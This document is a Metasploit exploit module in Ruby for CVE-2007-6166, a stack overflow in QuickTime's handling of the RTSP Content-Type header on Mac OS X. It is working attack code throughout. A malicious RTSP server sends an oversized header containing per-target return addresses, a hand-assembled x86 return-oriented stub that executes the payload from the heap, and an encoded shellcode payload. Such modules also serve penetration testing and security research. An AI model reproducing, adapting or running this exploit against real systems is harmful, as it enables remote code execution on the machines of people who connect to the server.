MacOS X QuickTime RTSP Content-Type Overflow



##

# $Id: quicktime_rtsp_content_type.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::TcpServer

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'MacOS X QuickTime RTSP Content-Type Overflow',
            # Description?
            # Author?
            'Version'  => '$Revision: 10617 $',
            'Platform' => 'osx',
            'References' =>
                [
                    [ 'CVE', '2007-6166' ],
                    [ 'OSVDB', '40876'],
                    [ 'BID', '26549' ],
                ],
            'Payload' =>
                {
                    'Space' => 3841,
                    'BadChars' => "\x00\x0a\x0d",
                    'MaxNops' => 0,
                    'StackAdjustment' => -3500,
                },
            'Targets' =>
                [
                    [ 'Mac OS X 10.4.0 PowerPC, QuickTime 7.0.0',
                        {
                            'Arch' => ARCH_PPC,
                            'Ret' => 0x8fe3f88c,
                            'RetOffset' => 551,
                            'PayloadOffset' => 879
                        }
                    ],

                    [ 'Mac OS X 10.5.0 PowerPC, QuickTime 7.2.1',
                        {
                            'Arch' => ARCH_PPC,
                            'Ret' => 0x8fe042e0,
                            'RetOffset' => 615,
                            'PayloadOffset' => 3351
                        }
                    ],

                    [ 'Mac OS X 10.4.8 x86, QuickTime 7.1.3',
                        {
                            'Arch' => ARCH_X86,
                            'Offset' => 307,
                            'Writable' => 0xa0bd0f10,    # libSystem __IMPORT
                            # The rest of these are all in libSystem __TEXT
                            'ret' => 0x9015d336,
                            'poppopret' => 0x9015d334,
                            'setjmp' => 0x900bc438,
                            'strdup' => 0x90012f40,
                            'jmp_eax' => 0x9014a77f
                        }
                    ],

                    [ 'Mac OS X 10.5.0 x86, QuickTime 7.2.1',
                        {
                            'Arch' => ARCH_X86,
                            'Offset' => 307,
                            'Writable' => 0x8fe66448,  # dyld __IMPORT
                            # The rest of these addresses are in dyld __TEXT
                            'ret' => 0x8fe1ceee,
                            'poppopret' => 0x8fe220d7,
                            'setjmp' => 0x8fe1ceb0,
                            'strdup' => 0x8fe1cd77,
                            'jmp_eax' => 0x8fe01041
                        }
                    ],

                ],
            'DefaultTarget'  => 2,
            'DisclosureDate' => 'Nov 23 2007'))
    end

    ######
    # XXX: This does not work on Tiger apparently
    def make_exec_payload_from_heap_stub()
        frag0 =
            "\x90" + # nop
            "\x58" + # pop eax
            "\x61" + # popa
            "\xc3"   # ret

        frag1 =
            "\x90" +             # nop
            "\x58" +             # pop eax
            "\x89\xe0" +         # mov eax, esp
            "\x83\xc0\x0c" +     # add eax, byte +0xc
            "\x89\x44\x24\x08" + # mov [esp+0x8], eax
            "\xc3"               # ret

        setjmp = target['setjmp']
        writable = target['Writable']
        strdup = target['strdup']
        jmp_eax = target['jmp_eax']

        exec_payload_from_heap_stub =
            frag0 +
            [setjmp].pack('V') +
            [writable + 32, writable].pack("V2") +
            frag1 +
            "X" * 20 +
            [setjmp].pack('V') +
            [writable + 24, writable, strdup, jmp_eax].pack("V4") +
            "X" * 4
    end

    def on_client_connect(client)
        print_status("Got client connection...")

        if (target['Arch'] == ARCH_PPC)
            ret_offset = target['RetOffset']
            payload_offset = target['PayloadOffset']

            # Create pattern sized up to payload, since it always follows
            # the return address.
            boom = Rex::Text.pattern_create(payload_offset)

            boom[ret_offset, 4] = [target['Ret']].pack('N')
            boom[payload_offset, payload.encoded.length] = payload.encoded
        else
            boom = Rex::Text.pattern_create(327)

            boom[307, 4] = [target['ret']].pack('V')
            boom[311, 4] = [target['ret']].pack('V')
            boom[315, 4] = [target['poppopret']].pack('V')
            boom[319, 4] = [target['Writable']].pack('V')
            boom[323, 4] = [target['Writable']].pack('V')

            #
            # Create exec-payload-from-heap-stub, but split it in two.
            # The first word must be placed as the overwritten saved ebp
            # in the attack string.  The rest is placed after the
            # Writable memory addresses.
            #
            magic = make_exec_payload_from_heap_stub()
            boom[303, 4] = magic[0, 4]
            boom += magic[4..-1]

            #
            # Place the payload immediately after the stub as it expects
            #
            boom += payload.encoded
        end

        body = " "
        header =
            "RTSP/1.0 200 OK\r\n"+
            "CSeq: 1\r\n"+
            "Content-Type: #{boom}\r\n"+
            "Content-Length: #{body.length}\r\n\r\n"

        print_status("Sending RTSP response...")
        client.put(header + body)

        print_status("Sleeping...")
        select(nil,nil,nil,1)

        print_status("Starting handler...")
        handler(client)

        print_status("Closing client...")
        service.close_client(client)
    end
end